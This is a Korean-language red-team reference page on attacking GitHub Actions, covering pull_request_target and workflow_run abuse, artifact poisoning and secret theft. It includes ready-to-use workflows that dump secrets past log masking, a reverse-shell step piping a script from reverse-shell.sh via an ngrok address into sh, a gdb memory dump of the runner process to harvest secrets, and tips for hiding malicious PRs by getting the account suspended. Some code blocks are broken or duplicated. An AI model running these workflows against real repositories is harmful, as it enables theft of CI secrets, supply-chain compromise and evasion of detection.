Abusing Github Actions

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

기본 정보

이 페이지에서는 다음을 찾을 수 있습니다:

  • 공격자가 Github Action에 액세스하는 모든 영향에 대한 요약

  • 액션에 액세스하는 다양한 방법:

  • 액션을 생성할 권한이 있는 경우

  • 풀 리퀘스트 관련 트리거를 남용하는 경우

  • 기타 외부 액세스 기술을 남용하는 경우

  • 이미 손상된 저장소에서 피벗하는 경우

  • 마지막으로, 내부에서 액션을 남용하는 포스트-익스플로잇레이션 기술에 대한 섹션 (언급된 영향을 초래)

영향 요약

Github Actions에 대한 기본 정보를 확인하려면 여기를 클릭.

저장소에서 임의의 Github 액션을 실행하거나 코드를 삽입할 수 있는 경우 다음을 수행할 수 있습니다:

  • 해당 저장소/조직에서 비밀도용할 수 있음.

  • 삽입만 할 수 있는 경우, 워크플로에 이미 존재하는 것을 도용할 수 있음.

  • AWS 및 GCP와 같은 다른 플랫폼에 액세스하기 위해 저장소 권한을 남용할 수 있음.

  • 사용자 정의 워커에서 코드 실행 (사용자 정의 워커를 사용하는 경우) 및 거기서 피벗을 시도할 수 있음.

  • 저장소 코드를 덮어쓸 수 있음.

  • 이는 GITHUB_TOKEN의 권한에 따라 다름 (있는 경우).

  • 배포 및 기타 아티팩트손상시킬 수 있음.

  • 코드가 배포하거나 저장하는 경우 해당 내용을 수정하여 추가 액세스를 얻을 수 있음.

GITHUB_TOKEN

이 "비밀"(${{ secrets.GITHUB_TOKEN }}${{ github.token }}에서 나옴)은 관리자가 이 옵션을 활성화할 때 제공됩니다:

이 토큰은 Github 애플리케이션이 사용하는 것과 동일하므로 동일한 엔드포인트에 액세스할 수 있습니다: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github는 GitHub 내에서 cross-repository 액세스를 허용하는 플로우를 출시해야 하므로 저장소가 GITHUB_TOKEN을 사용하여 다른 내부 저장소에 액세스할 수 있습니다.

이 토큰의 가능한 권한을 확인할 수 있습니다: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

이 토큰은 작업이 완료된 후 만료됩니다. 이러한 토큰은 다음과 같이 보입니다: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

이 토큰으로 할 수 있는 흥미로운 작업 몇 가지:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

여러 번 발생할 수 있는 경우 Github Actions envs 또는 secrets 내부에 github 사용자 토큰을 찾을 수 있습니다. 이러한 토큰은 리포지토리 및 조직에 대해 더 많은 권한을 부여할 수 있습니다.

Github Action 출력에서 시크릿 목록

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

시크릿을 사용하여 역쉘 획득하기

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

다른 사용자의 저장소에서 Github 토큰에 부여된 권한을 확인할 수 있습니다. 작업 로그를 확인하는 것이 가능합니다:

허용된 실행

이는 Github 작업을 침해하는 가장 쉬운 방법일 수 있습니다. 이 경우에는 조직 내에서 새 저장소를 생성할 수 있는 권한이 있거나 저장소에 쓰기 권한이 있는 것으로 가정합니다.

이러한 시나리오에 있는 경우 포스트 익스플로잇 테크닉을 확인할 수 있습니다.

저장소 생성에서 실행

조직 구성원이 새 저장소를 생성할 수 있고 Github 작업을 실행할 수 있는 경우, 새 저장소를 생성하고 조직 수준에서 설정된 비밀을 탈취할 수 있습니다.

새 브랜치에서 실행

이미 Github 작업이 구성된 저장소에 새 브랜치를 생성할 수 있는 경우, 해당 작업을 수정하고 내용을 업로드한 다음 새 브랜치에서 해당 작업을 실행할 수 있습니다. 이렇게 하면 저장소 및 조직 수준의 비밀을 유출할 수 있습니다 (그러나 해당 비밀의 이름을 알아야 합니다).

수정된 작업을 수동으로 실행하거나 PR이 생성될 때 또는 코드가 푸시될 때 실행할 수 있습니다 (얼마나 시끄럽게 하고 싶은지에 따라):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

포크된 실행

공격자가 다른 저장소의 Github Action을 실행할 수 있게 하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성되어 있으면 공격자가 그것들을 침해할 수 있습니다.

pull_request

워크플로 트리거 **pull_request**는 일반적으로 첫 번째 협업인 경우를 제외하고 풀 리퀘스트가 수신될 때마다 워크플로를 실행합니다. 이때 일부 유지자가 워크플로의 실행을 승인해야 합니다:

기본 제한첫 번째 기여자를 대상으로 하기 때문에 유효한 버그/오타를 수정하고 새로운 pull_request 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다.

이를 테스트했지만 작동하지 않습니다: 다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 해당 계정을 삭제하는 것일 수 있습니다.

또한, 기본적으로 대상 저장소에 쓰기 권한시크릿 액세스를 방지하며 문서에서 언급되었습니다:

GITHUB_TOKEN을 제외한 시크릿은 포크된 저장소에서 워크플로가 트리거될 때 런너로 전달되지 않습니다. GITHUB_TOKEN은 포크된 저장소의 풀 리퀘스트에서 읽기 전용 권한을 갖습니다.

공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한 사항으로 인해 시크릿을 도용하거나 리포지토리를 덮어쓸 수는 없습니다.

네, 공격자가 PR에서 트리거될 github action을 변경하면, 그의 Github Action이 사용되고 원본 저장소의 것이 아닙니다!

공격자가 실행되는 코드를 제어하기 때문에 GITHUB_TOKEN에 시크릿이나 쓰기 권한이 없더라도 공격자는 예를 들어 악성 아티팩트를 업로드할 수 있습니다.

pull_request_target

워크플로 트리거 **pull_request_target**는 대상 저장소에 쓰기 권한시크릿 액세스를 갖고 있으며 권한을 요청하지 않습니다.

워크플로 트리거 **pull_request_target**는 베이스 컨텍스트에서 실행되며 PR에서 제공된 컨텍스트가 아닙니다(신뢰할 수 없는 코드를 실행하지 않기 위해). pull_request_target에 대한 자세한 정보는 문서를 확인하세요. 또한, 이 특정 위험한 사용에 대한 자세한 정보는 github 블로그 게시물을 확인하세요.

실행된 워크플로베이스에 정의된 것이며 PR에 정의된 것이 아니기 때문에 **pull_request_target**를 사용하는 것이 안전해 보일 수 있지만, 일부 경우에는 그렇지 않을 수 있습니다.

이 경우 시크릿에 액세스할 수 있습니다.

workflow_run

workflow_run 트리거는 completed, requested, 또는 in_progress일 때 다른 워크플로에서 워크플로를 실행할 수 있습니다.

이 예에서는 "Run Tests" 워크플로가 완료된 후에 워크플로를 실행하도록 구성되어 있습니다:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

게다가 문서에 따르면: workflow_run 이벤트에 의해 시작된 워크플로우는 이전 워크플로우가 아니더라도 비밀 정보에 액세스하고 토큰을 작성할 수 있습니다.

이 유형의 워크플로우는 외부 사용자가 pull_request 또는 pull_request_target를 통해 트리거될 수 있는 워크플로우에 의존하는 경우 공격을 받을 수 있습니다. 취약한 예시는 이 블로그에서 찾을 수 있습니다. 첫 번째 예시는 **workflow_run**이 트리거된 워크플로우가 공격자 코드를 다운로드하는 것입니다: ${{ github.event.pull_request.head.sha }} 두 번째 예시는 신뢰할 수 없는 코드에서 아티팩트전달하고 이 아티팩트의 내용을 사용하여 RCE에 취약하게 만드는 것입니다.

workflow_call

할 일

할 일: pull_request에서 실행될 때 사용된/다운로드된 코드가 원본에서 오는 것인지 포크된 PR에서 오는 것인지 확인

포크된 실행 남용

외부 공격자가 깃허브 워크플로우를 실행하도록 만들 수 있는 모든 방법에 대해 언급했으니, 이제 이 실행이 잘못 구성된 경우 어떻게 남용될 수 있는지 살펴보겠습니다:

신뢰할 수 없는 체크아웃 실행

**pull_request**의 경우, 워크플로우는 PR의 컨텍스트에서 실행됩니다(따라서 악성 PR 코드가 실행됩니다), 하지만 누군가가 먼저 승인해야 하며 제한 사항이 적용됩니다.

**pull_request_target 또는 workflow_run**을 사용하는 워크플로우가 **pull_request_target 또는 pull_request**에서 트리거될 수 있는 워크플로우에 의존하는 경우 원본 리포지토리의 코드가 실행되므로 공격자는 실행된 코드를 제어할 수 없습니다.

그러나 액션명시적 PR 체크아웃이 있는 경우 PR 코드(베이스가 아닌)가 사용됩니다. 예를 들어(12번째 줄에서 PR 코드가 다운로드되는 부분 확인):

# 보안 취약점. 예시로 제공됨.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

잠재적으로 신뢰할 수 없는 코드가 npm install 또는 npm build 중에 실행되며, 빌드 스크립트와 참조된 패키지는 PR 작성자가 제어합니다.

취약한 액션을 검색하기 위한 깃허브 도크는 다음과 같습니다: event.pull_request pull_request_target extension:yml 그러나 액션이 잘못 구성되었더라도 실행될 작업을 안전하게 구성하는 다양한 방법이 있습니다(예: PR을 생성하는 사용자에 대한 조건부 사용).

컨텍스트 스크립트 삽입

일부 깃허브 컨텍스트의 값은 PR을 생성하는 사용자가 제어합니다. 깃허브 액션이 이 데이터를 실행하는 데 사용하는 경우 임의의 코드 실행으로 이어질 수 있습니다:

pageGh Actions - Context Script Injections

GITHUB_ENV 스크립트 삽입

문서에 따르면: GITHUB_ENV 환경 파일에 환경 변수를 정의하거나 업데이트하여 워크플로우 작업의 이후 단계에서 환경 변수를 사용할 수 있습니다.

공격자가 이 env 변수에 값을 삽입할 수 있다면, 이후 단계에서 LD_PRELOAD 또는 NODE_OPTIONS와 같은 코드를 실행할 수 있는 env 변수를 삽입할 수 있습니다.

예를 들어 (여기여기), 업로드된 아티팩트를 신뢰하고 해당 내용을 GITHUB_ENV env 변수에 저장하는 워크플로우를 상상해보십시오. 공격자는 다음과 같은 내용을 업로드하여 해당 워크플로우를 침해할 수 있습니다:

취약한 서드 파티 깃허브 액션

이 블로그 게시물에 언급된 바와 같이, 이 깃허브 액션을 사용하면 다른 워크플로우 및 리포지토리에서 아티팩트에 액세스할 수 있습니다.

문제는 path 매개변수가 설정되지 않은 경우, 아티팩트가 현재 디렉토리에 추출되어 나중에 사용되거나 심지어 워크플로우에서 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서, 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 침해할 수 있습니다.

취약한 워크플로우의 예시:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

다음 워크플로우로 이를 공격할 수 있습니다:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

기타 외부 액세스

삭제된 네임스페이스 리포지토리 탈취

계정이 이름을 변경하면 일정 시간 후 다른 사용자가 해당 이름으로 계정을 등록할 수 있습니다. 만약 리포지토리가 변경 전에 100개 미만의 스타를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 삭제된 것과 동일한 이름의 리포지토리를 생성할 수 있도록 허용합니다.

따라서 액션이 존재하지 않는 계정의 리포지토리를 사용하는 경우, 여전히 공격자가 해당 계정을 만들고 액션을 침해할 수 있습니다.

만약 다른 리포지토리가 이 사용자 리포지토리에서 의존성을 사용했다면, 공격자는 이를 탈취할 수 있습니다. 더 자세한 설명은 여기에서 확인할 수 있습니다: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


리포지토리 피벗

이 섹션에서는 첫 번째 리포지토리에 액세스 권한이 있는 경우 다른 리포지토리로 피벗할 수 있는 기술에 대해 이야기하겠습니다 (이전 섹션을 확인하세요).

캐시 독려

캐시는 동일 브랜치에서의 워크플로우 실행 간에 유지됩니다. 즉, 공격자가 캐시에 저장된 패키지를 침해하고 다운로드하여 보다 권한이 높은 워크플로우에서 실행하면 해당 워크플로우도 침해할 수 있습니다.

pageGH Actions - Cache Poisoning

아티팩트 독려

워크플로우는 다른 워크플로우 및 심지어 리포지토리에서 아티팩트를 사용할 수 있습니다. 공격자가 다른 워크플로우를 침해할 수 있도록 나중에 사용되는 아티팩트를 업로드하는 Github 액션을 침해한다면:

pageGh Actions - Artifact Poisoning

액션으로부터의 사후 침해

OIDC를 통한 AWS 및 GCP 액세스

다음 페이지를 확인하세요:

pageAWS - Federation AbusepageGCP - Federation Abuse

시크릿 액세스

스크립트에 콘텐츠를 주입하는 경우, 시크릿에 액세스하는 방법을 알아두는 것이 유용합니다:

  • 시크릿 또는 토큰이 환경 변수로 설정된 경우, **printenv**를 사용하여 환경을 통해 직접 액세스할 수 있습니다.

Github 액션 출력에서 시크릿 나열

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>시크릿을 사용하여 역쉘 획득하기</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • 시크릿이 표현식 안에서 직접 사용되는 경우, 생성된 셸 스크립트가 디스크에 저장되어 액세스할 수 있습니다.

cat /home/runner/work/_temp/*

* JavaScript 액션의 경우 시크릿은 환경 변수를 통해 전송됩니다.
* ```bash
ps axe | grep node
  • 사용자 지정 액션의 경우, 프로그램이 인수로부터 얻은 시크릿을 사용하는 방식에 따라 위험이 다를 수 있습니다:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Self-hosted 러너 남용

Github 인프라가 아닌 곳에서 실행되는 Github Actions를 찾는 방법은 Github Action 구성 yaml에서 **runs-on: self-hosted**를 검색하는 것입니다.

Self-hosted 러너는 추가로 민감한 정보에 액세스할 수 있으며, 다른 네트워크 시스템(네트워크의 취약한 엔드포인트? 메타데이터 서비스?)에도 액세스할 수 있습니다. 심지어 격리되고 파괴되더라도, **동시에 여러 작업이 실행될 수 있으며 악의적인 작업이 다른 작업의 시크릿을 **훔칠 수 있습니다.

Self-hosted 러너에서는 _Runner.Listener 프로세스에서 시크릿을 얻을 수도 있으며, 이는 메모리를 덤프하여 언제든지 워크플로우의 모든 시크릿을 포함할 것입니다:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

더 많은 정보는 여기를 확인하세요.

Github 도커 이미지 레지스트리

Github actions를 사용하여 도커 이미지를 빌드하고 저장할 수 있습니다. 다음에서 예제를 찾을 수 있습니다:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

이전 코드에서 볼 수 있듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅됩니다.

레포지토리에 읽기 권한이 있는 사용자는 개인 액세스 토큰을 사용하여 Docker 이미지를 다운로드할 수 있습니다:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

사용자는 Docker 이미지 레이어에서 누출된 비밀 정보를 검색할 수 있습니다:

Github Actions 로그에 민감한 정보

Github는 액션 로그에서 비밀 값을 감지하려고 하고 표시를 피하려고하지만, 액션 실행 중에 생성된 다른 민감한 데이터는 숨겨지지 않을 수 있습니다. 예를 들어, 비밀 값으로 서명된 JWT는 특별히 구성되지 않는 한 숨겨지지 않습니다.

자신의 활동 숨기기

(여기의 기술) 먼저, 제기된 모든 PR은 기본적으로 Github와 대상 GitHub 계정에 모두 공개적으로 표시됩니다. GitHub에서는 인터넷에서 PR을 삭제할 수 없지만, 한 가지 꼼수가 있습니다. Github에서 중단된 계정의 경우, 모든 PR이 자동으로 삭제되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 GitHub 계정을 중단하거나 계정을 플래그 처리해야합니다. 이렇게 하면 GitHub에서 모든 활동이 인터넷에서 숨겨집니다 (기본적으로 모든 악용 PR을 제거함)

GitHub의 한 조직은 GitHub에 계정을 신고하는 데 매우 적극적입니다. 해야 할 일은 이슈에 "어떤 것"을 공유하는 것뿐이며, 그들은 12시간 내에 귀하의 계정이 중단되도록 보장할 것입니다 :p 그리고 여기에 있습니다, 귀하의 악용이 GitHub에서 보이지 않게 만들었습니다.

조직이 대상이 되었음을 알아차리는 유일한 방법은 GitHub UI에서 PR이 제거되므로 SIEM의 GitHub 로그를 확인하는 것입니다.

도구

다음 도구는 Github Action 워크플로우를 찾고 취약한 것을 식별하는 데 유용합니다:

最終更新